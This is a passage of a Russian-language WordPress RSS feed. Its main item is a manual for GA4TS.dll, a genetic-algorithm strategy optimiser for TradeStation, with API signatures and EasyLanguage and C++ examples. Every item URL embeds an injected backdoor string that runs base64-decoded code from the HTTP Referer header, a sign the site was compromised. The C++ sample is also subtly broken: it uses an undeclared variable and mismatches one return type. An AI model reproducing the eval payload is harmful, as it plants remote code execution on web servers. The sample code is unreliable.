<a title="GA4TS – динамическая библиотека, предназначенная для оптимизации стратегий по одному или нескольким критериям в TradeStation Omega" href="http://www.pitbear.com/ga4ts.php">GA4TS.DLL – Генетический алгоритм для TradeStation</a><br />
<a title="Например, решение двойственных задач метода Марковица об инвестиционном портфеле, будут частным случаем решения многокритериальной задачи минимизации риска и максимизации доходности. Решением такой задачи оптимизации, с несколькими критериями, является множество Парето." href="http://www.pitbear.com/pareto.php">Поиск оптимальных по Парето стратегий</a><br />
<a title="Очевидно, максимально диверсифицированный портфель можно сформировать только на мировом рынке из индексов развитых стран или крупных компаний. Очень интересен для портфельных инвесторов так же такой инструмент как ETF – Exchange-Traded Fund" href="http://www.pitbear.com/etf-portfolio.php">Портфельные инвестиции</a></p>
<hr />
<div>
<table border="1" style="border-collapse: collapse">
<tr>
<td bgcolor="#f5f5f5">Tags: <strong>генетический алгоритм</strong>, <em>оптимизация генетическим алгоритмом</em>, <strong><em>эффективное множество</em></strong>, <strong><em>паевые фонды</em></strong>, <strong>инвестиции</strong>, <em>фонды акции</em>, <strong>открытые фонды </strong></td>
</tr>
</table>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.pitbear.com/2007/05/23/russian-pie/%&amp;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>Руководство по использованию GA4TS</title>
		<link>http://www.pitbear.com/2006/04/23/ga4ts-manual/%&amp;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&amp;%/</link>
		<comments>http://www.pitbear.com/2006/04/23/ga4ts-manual/%&amp;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Sun, 23 Apr 2006 09:19:21 +0000</pubDate>
		<dc:creator>whiteline</dc:creator>
				<category><![CDATA[Live]]></category>
		<category><![CDATA[Research]]></category>
		<category><![CDATA[генетический алгоритм]]></category>
		<category><![CDATA[оптимизация решения]]></category>
		<category><![CDATA[численные методы]]></category>

		<guid isPermaLink="false">http://www.pitbear.com/ga4ts-manual.php</guid>
		<description><![CDATA[GA4TS Dynamic Link Library (version 1.1) имеет стандартный интерфейс, поэтому использовать библиотеку можно в любой программе, поддерживающей вызовы через API. Библиотека защищена современными криптографическими методами и может быть использована только на компьютере зарегистрированного пользователя. Поддерживается совместимость только в ОС:  Windows 2000 и более поздние версии.
Продолжение:
УСТАНОВКА БИБЛИОТЕКИ
Библиотека состоит из одного файла GA4TS.dll, зарегистрированную версию которого [...]]]></description>
			<content:encoded><![CDATA[<p align="justify"><strong>GA4TS</strong> Dynamic Link Library (version 1.1) имеет стандартный интерфейс, поэтому использовать библиотеку можно в любой программе, поддерживающей вызовы через API. Библиотека защищена современными криптографическими методами и может быть использована только на компьютере зарегистрированного пользователя. Поддерживается совместимость <strong><em>только в ОС</em></strong>:  Windows 2000 и более поздние версии.</p>
<p><span id="more-108"></span><em><u>Продолжение:</u></em></p>
<h3>УСТАНОВКА БИБЛИОТЕКИ</h3>
<p align="justify">Библиотека состоит из одного файла GA4TS.dll, зарегистрированную версию которого достаточно скопировать на компьютер. Для регистрации надо скачать программу   CreateId4GA.exe, и с её помощью определить трёхзначный идентификатор компьютера, на котором будет использоваться библиотека. И если Вы приобретаете библиотеку, ты Вы приобретаете зарегистрированную версию, которая может быть использована только на этом компьютере, одним пользователем. При существенном изменении конфигурации компьютера библиотека может не пройти этап верификации, для чего необходимо воспользоватся обратной связью.<br />
<code><br />
void  __stdcall ga_create(<br />
&nbsp;&nbsp;&nbsp;&nbsp;int multiobjective,     // Количество критериев.<br />
&nbsp;&nbsp;&nbsp;&nbsp;int gene_length,       // Количество генов(параметров).<br />
&nbsp;&nbsp;&nbsp;&nbsp;int total_count,        // Количество итераций.<br />
&nbsp;&nbsp;&nbsp;&nbsp;LPSTR log);             // Имя файла для записи логов, или NULL.<br />
</code></p>
<p align="justify">Проверяет соответствие встроенных ключей, после чего создаёт в памяти объект ГА.</p>
<p>Значения для <em>multiobjective </em>от 1 до 10. Значения для <em>gene_length</em> от 1 до 100.  Используется один раз.</p>
<p><code><br />
void   __stdcall   ga_setadvancedoptions(<br />
&nbsp;&nbsp;&nbsp;&nbsp;int sel,          // Метод выбора родителей.<br />
&nbsp;&nbsp;&nbsp;&nbsp;int choice,       // Метод выбора пар.<br />
&nbsp;&nbsp;&nbsp;&nbsp;int child,        // Метод определения количества детей.<br />
&nbsp;&nbsp;&nbsp;&nbsp;int next,         // Метод отбора для следующей популяции<br />
&nbsp;&nbsp;&nbsp;&nbsp;double prob);     // Вероятность мутации.<br />
</code></p>
<p align="justify">Задаёт параметры работы ГА. Вызов не обязателен. Вызывается в любой момент.</p>
<ol>
<li><em>sel </em>-  Метод выбора родителей. Может принимать два значения: 0 – выбор осуществляется равномерно по всей популяции, 1– происходит выбор методом «рулетки» (по умолчанию).</li>
<li><em>choice </em>– Метод выбора пар. Принимает следующие значения: 0 – панимексия, 1 – комплексная панимексия, 2 – аутбридинг по генотипу, 3 – инбридинг по генотипу, 4 – аутбридинг по фенотипу, 5 – инбридинг по фенотипу, 6 – случайный метод выбранный из набора(0, 0, 0, 1, 2, 3, 4, 5) (по умолчанию), 7 – случайный метод из набора (0, 1, 2, 3, 3, 3, 4, 5). В случайных методах, предотвращаён прямой переход от инбридинга к аутбридингу, и наоборот.</li>
<li><em>child </em>– Метод, по которому определяется количество детей в следующей популяции. Принимает следующие значения: 0 – эквивалентно предыдущей популяции, 1 – приближённо к количеству базовой популяции (по умолчанию).</li>
<li><em>next</em> – Метод отбора для следующей популяции. Принимает три значения: 0 – метод Парето (по умолчанию), 1 – турнирный отбор, 2 – элитный отбор. Все методы работают независимо от количества критериев.</li>
<li><em>prob </em>– Вероятность мутации. По умолчанию значение равно 0.002.</li>
</ol>
<p><code><br />
void  __stdcall ga_setcodelength(<br />
&nbsp;&nbsp;&nbsp;&nbsp;int gene_pos,     // Порядковый номер гена, нумерация с 0.<br />
&nbsp;&nbsp;&nbsp;&nbsp;int code_length); // Длина кода.<br />
</code></p>
<p align="justify">Задаёт точность вычислений для данного параметра. Точность задаётся длиной кода, который соответствует количеству бит, представляющий этот параметр. Например, кодом длиной 10, можно закодировать 2<sup>10</sup> значений, или целое число из 0, …,1023, или дробное, число меньшее 1, с точностью до 3 знака после запятой. Этот параметр, а точнее длина хромосомы (сумма по всем генам) существенно влияет на объём вычислений и на скорость сходимости. Вызывается пред <em>ga_generate</em>, для каждого гена. Максимальное значение 63.</p>
<p><code><br />
int   __stdcall   ga_generate(<br />
&nbsp;&nbsp;&nbsp;&nbsp;int population);  // Размер базовой популяции.<br />
</code></p>
<p align="justify">Создаёт базовую популяцию, и возвращает 0 в случае успеха и -1 в случае ошибки. Ошибка может возникнуть, в результате проверки идентификационных ключей, или установки длины кода.</p>
<p><code><br />
int  __stdcall ga_loadbasepopulation(<br />
&nbsp;&nbsp;&nbsp;&nbsp;LPSTR fn,             // CSV – файл, с базовой популяцией.<br />
&nbsp;&nbsp;&nbsp;&nbsp;int population);      // Размер базовой популяции.<br />
</code></p>
<p align="justify">Создаёт базовую популяцию, и возвращает 0 в случае успеха и -1 в случае ошибки. Файл, полученный с помощью  <em>ga_writechain</em>, может использоваться для дальнейших вычислений. Заменяет вызов  <em>ga_generate</em>.</p>
<p><code><br />
int  __stdcall ga_getinitialized(void);<br />
</code></p>
<p align="justify">Проверка состояния инициализации: 0 – завершена, -1 – не завершена. Используется в TS Omega для избежания повторной процедуры инициализации.</p>
<p><code><br />
double __stdcall ga_getcurrentgene(<br />
&nbsp;&nbsp;&nbsp;&nbsp;int gene_pos);    // Номер гена, нумерация с 0.<br />
</code></p>
<p>Возвращает число из интервала [0,1] с плавающей запятой, соответствующее значению гена, для текущей хромосомы.</p>
<p><code><br />
__int64 __stdcall ga_getcurrentgeneint64(<br />
&nbsp;&nbsp;&nbsp;&nbsp;int gene_pos);    // Номер гена, нумерация с 0.<br />
</code></p>
<p align="justify">Возвращает целое число из интервала [0, 2<sup>code_length</sup>-1], соответствующее значению гена, для текущей хромосомы.</p>
<p><code><br />
int __stdcall ga_getcurrentgeneint(<br />
&nbsp;&nbsp;&nbsp;&nbsp;int gene_pos);    // Номер гена, нумерация с 0.<br />
</code></p>
<p align="justify">Версия для TS Omega. Функция корректно работает с длиной кода не более 31.</p>
<p><code><br />
void __stdcall ga_setcurrentvalue(<br />
&nbsp;&nbsp;&nbsp;&nbsp;int objective,    // Номер критерия, нумерация с 0.<br />
&nbsp;&nbsp;&nbsp;&nbsp;double value);    // Значение.<br />
</code></p>
<p align="justify">Передаёт значение, полученное целевой функции, для текущей хромосомы.</p>
<p><code><br />
int __stdcall ga_calculated(<br />
&nbsp;&nbsp;&nbsp;&nbsp;int count);       // Номер итерации.<br />
</code></p>
<p align="justify">Вызывается для формирования новой хромосомы, после вычисления значений для всех критериев. Возвращает: -1 – в случае ошибки, 0 – после завершении работы Генетического Алгоритма, при достижении значения count, близкой к заданному максимальному количеству итераций, 1 – перед началом вычисления детей, 2 – после окончания.</p>
<p><code><br />
int __stdcall ga_writechain(<br />
&nbsp;&nbsp;&nbsp;&nbsp;int grid,          // Параметр фильтрации<br />
&nbsp;&nbsp;&nbsp;&nbsp;LPSTR fn);        // Имя файла для вывода результата.<br />
</code></p>
<p align="justify">Записывает в заданный файл результат работы ГА. Возвращает 0 в случае успеха и -1 в случае ошибки. Параметр фильтрации отражает плотность расположения в пространстве критериев, и сказывается на количестве результирующих данных: их будет примерно net<sup>multiobjective</sup>/multiobjective.</p>
<p><code><br />
int __stdcall ga_addelitechain(<br />
&nbsp;&nbsp;&nbsp;&nbsp;LPSTR str,        // Строка 1.<br />
&nbsp;&nbsp;&nbsp;&nbsp;LPSTR str,        // Строка 2.<br />
&nbsp;&nbsp;&nbsp;&nbsp;LPSTR str,        // Строка 3.<br />
&nbsp;&nbsp;&nbsp;&nbsp;LPSTR str);       // Строка 4.<br />
</code></p>
<p align="justify">Добавляет заведомо хорошее решение, для ускорения сходимости популяции. Возвращает 0 в случае успеха и -1 в случае ошибки. Строки содержат информацию о коде каждого гена, в том же виде что и параметры функций <em>ga_getcurrentgene</em> и <em>ga_getcurrentgeneint</em>. Формат строк следующий: через точку с запятой записываются значения всех генов: для дробного значения “F=дробное число;” а для целочисленного “I=целое число;”. В библиотеке все строки объединяются в одну, потому что TS Omega не распознаёт строки, длиннее 64 символов.</p>
<h3>ПРИМЕР ИСПОЛЬЗОВАНИЯ В TS OMEGA</h3>
<p align="justify">Для оптимизации параметров стратегии в TS при помощи библиотеки, надо произвести некую модификацию кода самой стратегии. Но сначала о самом запуске оптимизации. TS Omega, каждый раз загружает, и заново выгружает динамическую библиотеку, во время оптимизации, при наличии к ней обращений в стратегии. Чтоб такого не происходило, надо эту стратегию использовать на другом графике, и когда TS проверяет, используется библиотека, где-либо ещё, то не выгружает её из памяти. Такая процедура необходима, так как указать TS, как ей поступать c DLL нельзя программным образом, а иметь общий доступ к памяти, необходимо на время всех итераций. Далее приводится пример код, для оптимизации 6 переменных, который надо будет вставить в стратегию.</p>
<p><code><br />
Inputs:<br />
&nbsp;&nbsp;&nbsp;&nbsp;count(0);<br />
var:<br />
&nbsp;&nbsp;&nbsp;&nbsp;str(“”),<br />
&nbsp;&nbsp;&nbsp;&nbsp;saucer(0),<br />
&nbsp;&nbsp;&nbsp;&nbsp;period(5),<br />
&nbsp;&nbsp;&nbsp;&nbsp;AVO16(1),<br />
&nbsp;&nbsp;&nbsp;&nbsp;AVO32(1),<br />
&nbsp;&nbsp;&nbsp;&nbsp;AVO64(1),<br />
&nbsp;&nbsp;&nbsp;&nbsp;AVO128(1);<br />
</code></p>
<p>Параметр count счётчик итераций, по которому будет идти перебор в TS, строчная переменная и 6 переменных для оптимизации.</p>
<p>Затем для версий TS Omega 3.0 – 5.0, необходимо перед первым вызовом, в коде стратегии прописать:</p>
<p><code><br />
DefineDLLFunc: "C:\GA\GA4TS.dll",     void,      "ga_create",                           int, int, int, LPSTR;<br />
DefineDLLFunc: "C:\GA\GA4TS.dll",     void,      "ga_setadvancedoptions",     int, int, int, int, double;<br />
DefineDLLFunc: "C:\GA\GA4TS.dll",     void,      "ga_setcodelength",               int, int;<br />
DefineDLLFunc: "C:\GA\GA4TS.dll",     int,         "ga_generate",                       int;<br />
DefineDLLFunc: "C:\GA\GA4TS.dll",     int,         "ga_loadbasepopulation",      LPSTR, int;<br />
DefineDLLFunc: "C:\GA\GA4TS.dll",     int,         "ga_getinitialized";<br />
DefineDLLFunc: "C:\GA\GA4TS.dll",     double,  "ga_getcurrentgene",             int;<br />
DefineDLLFunc: "C:\GA\GA4TS.dll",     int,         "ga_getcurrentgeneint",         int;<br />
DefineDLLFunc: "C:\GA\GA4TS.dll",     void,      "ga_setcurrentvalue",            int, double;<br />
DefineDLLFunc: "C:\GA\GA4TS.dll",     int,         "ga_calculated",                     int;<br />
DefineDLLFunc: "C:\GA\GA4TS.dll",     int,         "ga_writechain",                    int, LPSTR;<br />
DefineDLLFunc: "C:\GA\GA4TS.dll",     int,         "ga_addelitechain",                LPSTR, LPSTR, LPSTR, LPSTR;<br />
</code></p>
<p align="justify">Далее нужно провести инициализацию параметров. Чтобы действие выполнялось однажды вначале стоит проверка:</p>
<p><code><br />
value1 = ga_getinitialized();<br />
If<br />
&nbsp;&nbsp;&nbsp;&nbsp;value1 <> 0<br />
then<br />
begin<br />
&nbsp;&nbsp;&nbsp;&nbsp;ga_create(2, 6, 5000, "C:\\GA\\log.txt");<br />
&nbsp;&nbsp;&nbsp;&nbsp;ga_setadvancedoptions(1,6,1,0,0.002);<br />
&nbsp;&nbsp;&nbsp;&nbsp;ga_setcodelength(0, 1);<br />
&nbsp;&nbsp;&nbsp;&nbsp;ga_setcodelength(1, 5);<br />
&nbsp;&nbsp;&nbsp;&nbsp;ga_setcodelength(2, 10);<br />
&nbsp;&nbsp;&nbsp;&nbsp;ga_setcodelength(3, 10);<br />
&nbsp;&nbsp;&nbsp;&nbsp;ga_setcodelength(4, 10);<br />
&nbsp;&nbsp;&nbsp;&nbsp;ga_setcodelength(5, 10);<br />
&nbsp;&nbsp;&nbsp;&nbsp;value1 = ga_generate(200);<br />
&nbsp;&nbsp;&nbsp;&nbsp;if<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;value1 <> 0<br />
&nbsp;&nbsp;&nbsp;&nbsp;then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print("Error Initialization.");<br />
&nbsp;&nbsp;&nbsp;&nbsp;value1 = ga_addelitechain("I=1;I=0;I=25;I=870;I=382;I=127;", "", "", "");<br />
&nbsp;&nbsp;&nbsp;&nbsp;if<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;value1 <> 0<br />
&nbsp;&nbsp;&nbsp;&nbsp;then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print("Error Adding.");<br />
end;<br />
</code></p>
<p align="justify">После инициализации параметров ГА, на каждой следующей итерации запрашиваются новые параметры стратегии:</p>
<p><code><br />
if<br />
&nbsp;&nbsp;&nbsp;&nbsp;CurrentBar = 1<br />
then<br />
begin<br />
&nbsp;&nbsp;&nbsp;&nbsp;saucer                    =             MinList(ga_getcurrentgeneint(0), 1);                                    {[0,1]}<br />
&nbsp;&nbsp;&nbsp;&nbsp;period                     =             MinList(ga_getcurrentgeneint(1), 31) + 10;                          {[10, 41]}<br />
&nbsp;&nbsp;&nbsp;&nbsp;AVO16                   =             MinList(ga_getcurrentgene(2)*10, 10);                                 {(0,10)}<br />
&nbsp;&nbsp;&nbsp;&nbsp;AVO32                   =             MinList(ga_getcurrentgene(3)*10, 10);                                 {(0,10)}<br />
&nbsp;&nbsp;&nbsp;&nbsp;AVO64                   =             MinList(ga_getcurrentgene(4)*10, 10);                                 {(0,10)}<br />
&nbsp;&nbsp;&nbsp;&nbsp;AVO128                 =             MinList(ga_getcurrentgene(5)*10, 10);                                 {(0,10)}<br />
end;<br />
</code></p>
<p>Далее идёт код самой стратегии:</p>
<p><code><br />
if<br />
&nbsp;&nbsp;&nbsp;&nbsp;CurrentBar > 1<br />
then<br />
begin {global}<br />
&nbsp;&nbsp;&nbsp;&nbsp;{body…}<br />
end;<br />
</code></p>
<p>После вычисления текущего результата, параметры надо передать ГА:</p>
<p><code><br />
if<br />
&nbsp;&nbsp;&nbsp;&nbsp;LastBarOnChart<br />
then<br />
begin<br />
&nbsp;&nbsp;&nbsp;&nbsp;ga_setcurrentvalue(0, -GrossProfit/GrossLoss);<br />
&nbsp;&nbsp;&nbsp;&nbsp;ga_setcurrentvalue(1, MaxIDDrawDown);<br />
&nbsp;&nbsp;&nbsp;&nbsp;str =<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NumToStr(saucer, 0) + "," +<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NumToStr(period, 0) + "," +<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NumToStr(AVO16, 2) + "," +<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NumToStr(AVO32, 2) + "," +<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NumToStr(AVO64, 2) + "," +<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NumToStr(AVO128, 2) + "," +<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NumToStr(-GrossProfit/GrossLoss, 3) + "," +<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NumToStr(MaxIDDrawDown, 3);<br />
&nbsp;&nbsp;&nbsp;&nbsp;print(str);<br />
&nbsp;&nbsp;&nbsp;&nbsp;value1 = ga_calculated(count);<br />
&nbsp;&nbsp;&nbsp;&nbsp;if<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;value1 = 0<br />
&nbsp;&nbsp;&nbsp;&nbsp;then<br />
&nbsp;&nbsp;&nbsp;&nbsp;begin<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ga_writechain(200, "C:\\GA\\" + GetSymbolName + "_" + NumToStr(BarInterval, 0) + ".csv");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print("Calculation Finished!");<br />
&nbsp;&nbsp;&nbsp;&nbsp;end;<br />
end;<br />
</code></p>
<p align="justify">так же можно распечатывать промежуточные результаты в консоли TS. Файл, сохранённый с результатами оптимизации, состоит из строк, содержащих целочисленные значения генов, записанные через запятую, а последние параметры в строке, это значения целевых функций. Для перевода целочисленных значений в значения с плавающей запятой, используется следующая формула F = I/(2<sup>code_length</sup>-1).</p>
<h3>ПРИМЕР ИСПОЛЬЗОВАНИЯ В C++</h3>
<p><code><br />
typedef VOID     (__stdcall* LPGCREATE)(INT,INT,INT,LPSTR);<br />
typedef VOID     (__stdcall* LPGSETCODELENGTH)(INT,INT);<br />
typedef VOID     (__stdcall* LPGGENERATE)(INT);<br />
typedef VOID     (__stdcall* LPGLOADBASEPOPULATION)(LPSTR, INT);<br />
typedef DOUBLE   (__stdcall* LPGGETCURRENTGENE)(INT);<br />
typedef INT      (__stdcall* LPGGETCURRENTGENEINT)(INT);<br />
typedef INT64    (__stdcall* LPGGETCURRENTGENEINT64)(INT);<br />
typedef VOID     (__stdcall* LPGSETCURRENTVALUE)(INT, DOUBLE);<br />
typedef INT      (__stdcall* LPGCALCULATED)(INT);<br />
typedef INT      (__stdcall* LPGWRITECHAIN)(INT, LPSTR);<br />
typedef VOID     (__stdcall* LPGADDELITECHAIN)(LPSTR,LPSTR,LPSTR,LPSTR);<br />
typedef VOID     (__stdcall* LPSETADVANCEDOPTION)(INT,INT,INT,INT,DOUBLE);<br />
void main(void)<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;int i;<br />
&nbsp;&nbsp;&nbsp;&nbsp;double r;<br />
&nbsp;&nbsp;&nbsp;&nbsp;double x;<br />
&nbsp;&nbsp;&nbsp;&nbsp;double y;<br />
&nbsp;&nbsp;&nbsp;&nbsp;HINSTANCE hDLL;<br />
&nbsp;&nbsp;&nbsp;&nbsp;LPGCREATE Create;<br />
&nbsp;&nbsp;&nbsp;&nbsp;LPGSETCODELENGTH SetCodeLength;<br />
&nbsp;&nbsp;&nbsp;&nbsp;LPGGENERATE Generate;<br />
&nbsp;&nbsp;&nbsp;&nbsp;LPGLOADBASEPOPULATION LoadBasePopulation;<br />
&nbsp;&nbsp;&nbsp;&nbsp;LPGGETCURRENTGENE GetCurrentGene;<br />
&nbsp;&nbsp;&nbsp;&nbsp;LPGGETCURRENTGENEINT GetCurrentGeneInt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;LPGGETCURRENTGENEINT64 GetCurrentGeneInt64;<br />
&nbsp;&nbsp;&nbsp;&nbsp;LPGSETCURRENTVALUE SetCurrentValue;<br />
&nbsp;&nbsp;&nbsp;&nbsp;LPGCALCULATED Calculated;<br />
&nbsp;&nbsp;&nbsp;&nbsp;LPGWRITECHAIN WriteChain;<br />
&nbsp;&nbsp;&nbsp;&nbsp;LPGADDELITECHAIN AddEliteChain;<br />
&nbsp;&nbsp;&nbsp;&nbsp;LPSETADVANCEDOPTION SetAdvancedOptions;<br />
&nbsp;&nbsp;&nbsp;&nbsp;hDLL = LoadLibrary("C:\\GA\\GA4TS.dll");<br />
&nbsp;&nbsp;&nbsp;&nbsp;if (!hDLL) return;<br />
&nbsp;&nbsp;&nbsp;&nbsp;Create =            (LPGCREATE)GetProcAddress(hDLL, "ga_create");<br />
&nbsp;&nbsp;&nbsp;&nbsp;SetCodeLength =     (LPGSETCODELENGTH)GetProcAddress(hDLL, "ga_setcodelength");<br />
&nbsp;&nbsp;&nbsp;&nbsp;Generate =          (LPGGENERATE)GetProcAddress(hDLL, "ga_generate");<br />
&nbsp;&nbsp;&nbsp;&nbsp;LoadBasePopulation =(LPGLOADBASEPOPULATION)GetProcAddress(hDLL, "ga_loadbasepopulation");<br />
&nbsp;&nbsp;&nbsp;&nbsp;GetCurrentGene =    (LPGGETCURRENTGENE)GetProcAddress(hDLL, "ga_getcurrentgene");<br />
&nbsp;&nbsp;&nbsp;&nbsp;GetCurrentGeneInt = (LPGGETCURRENTGENEINT)GetProcAddress(hDLL, "ga_getcurrentgeneint");<br />
&nbsp;&nbsp;&nbsp;&nbsp;GetCurrentGeneInt64=(LPGGETCURRENTGENEINT64)<br />
&nbsp;&nbsp;&nbsp;&nbsp;GetProcAddress(hDLL,"ga_getcurrentgeneint64");<br />
&nbsp;&nbsp;&nbsp;&nbsp;SetCurrentValue =   (LPGSETCURRENTVALUE)GetProcAddress(hDLL, "ga_setcurrentvalue");<br />
&nbsp;&nbsp;&nbsp;&nbsp;Calculated =        (LPGCALCULATED)GetProcAddress(hDLL, "ga_calculated");<br />
&nbsp;&nbsp;&nbsp;&nbsp;WriteChain =        (LPGWRITECHAIN)GetProcAddress(hDLL, "ga_writechain");<br />
&nbsp;&nbsp;&nbsp;&nbsp;AddEliteChain =     (LPGADDELITECHAIN)GetProcAddress(hDLL, "ga_addelitechain");<br />
&nbsp;&nbsp;&nbsp;&nbsp;SetAdvancedOptions =(LPSETADVANCEDOPTION)GetProcAddress(hDLL, "ga_setadvancedoptions");<br />
&nbsp;&nbsp;&nbsp;&nbsp;if (!<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(Create &#038;&#038;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SetCodeLength &#038;&#038;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Generate &#038;&#038;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LoadBasePopulation &#038;&#038;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GetCurrentGene &#038;&#038;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GetCurrentGeneInt &#038;&#038;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GetCurrentGeneInt64 &#038;&#038;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SetCurrentValue &#038;&#038;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Calculated &#038;&#038;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WriteChain &#038;&#038;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;AddEliteChain &#038;&#038;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SetAdvancedOptions)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;)<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FreeLibrary(hDLL);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;Create(2, 2, 10000, "C:\\GA\\log_c.txt");<br />
&nbsp;&nbsp;&nbsp;&nbsp;SetAdvancedOptions(1, 6, 1, 0, 0.002);<br />
&nbsp;&nbsp;&nbsp;&nbsp;SetCodeLength(0, 40);<br />
&nbsp;&nbsp;&nbsp;&nbsp;SetCodeLength(1, 40);<br />
&nbsp;&nbsp;&nbsp;&nbsp;Generate(500);     // LoadBasePopulation("c:\\GA\\test.csv", 500);<br />
&nbsp;&nbsp;&nbsp;&nbsp;AddEliteChain("F=0.999;I=7;", "", "", "");<br />
&nbsp;&nbsp;&nbsp;&nbsp;for(i = 0; i < 10000; i++)<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;x = GetCurrentGene(0);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;y = GetCurrentGene(1);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;r = -4*(x-0.5)*(x-0.5)-4*(y-0.5)*(y-0.5)+      // Rastrigin’s Function<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;10*(-2+cos(M_PI*(x-0.5))+cos(M_PI*(y-0.5)));<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SetCurrentValue(0, d);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SetCurrentValue(1, 4*(x-0.5)*(x-0.5)+4*(y-0.5)*(y-0.5));<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(Calculated(i) == 0)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WriteChain(300, "c:\\GA\\test.csv");<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;FreeLibrary(hDLL);<br />
}<br />
</code>
</p>
<p>Статьи по теме:<br />
<a title="GA4TS – динамическая библиотека, предназначенная для оптимизации стратегий по одному или нескольким критериям в TradeStation Omega" href="http://www.pitbear.com/ga4ts.php">GA4TS.DLL – Генетический алгоритм для TradeStation</a><br />
<a title="Например, решение двойственных задач метода Марковица об инвестиционном портфеле, будут частным случаем решения многокритериальной задачи минимизации риска и максимизации доходности. Решением такой задачи оптимизации, с несколькими критериями, является множество Парето." href="http://www.pitbear.com/pareto.php">Поиск оптимальных по Парето стратегий</a><br />
<a title="В любом случае, никакие формулы не заменят бэк-тэстинга, а как часто бывает, новые идеи, возникают во время осмысления полученных результатов. А оптимизация в этом смысле просто создаёт почву для размышления, и никак не для того что бы использовать полученные результаты в окончательном варианте для реальной торговле." href="http://www.pitbear.com/option-strategy.php">Тестирование опционных стратегий в Omega TradeStation</a></p>
<hr />
<div>
<table border="1" style="border-collapse: collapse">
<tr>
<td bgcolor="#f5f5f5">Tags: <strong><em>генетический алгоритм</em></strong>, <strong>генетический алгоритм парето</strong>, <strong>парето оптимизация</strong>, <em>многокритериальная оптимизация</em>, <em>численная оптимизация</em>, <strong>GA4TS</strong>, <strong>задача оптимизации</strong></td>
</tr>
</table>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.pitbear.com/2006/04/23/ga4ts-manual/%&amp;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
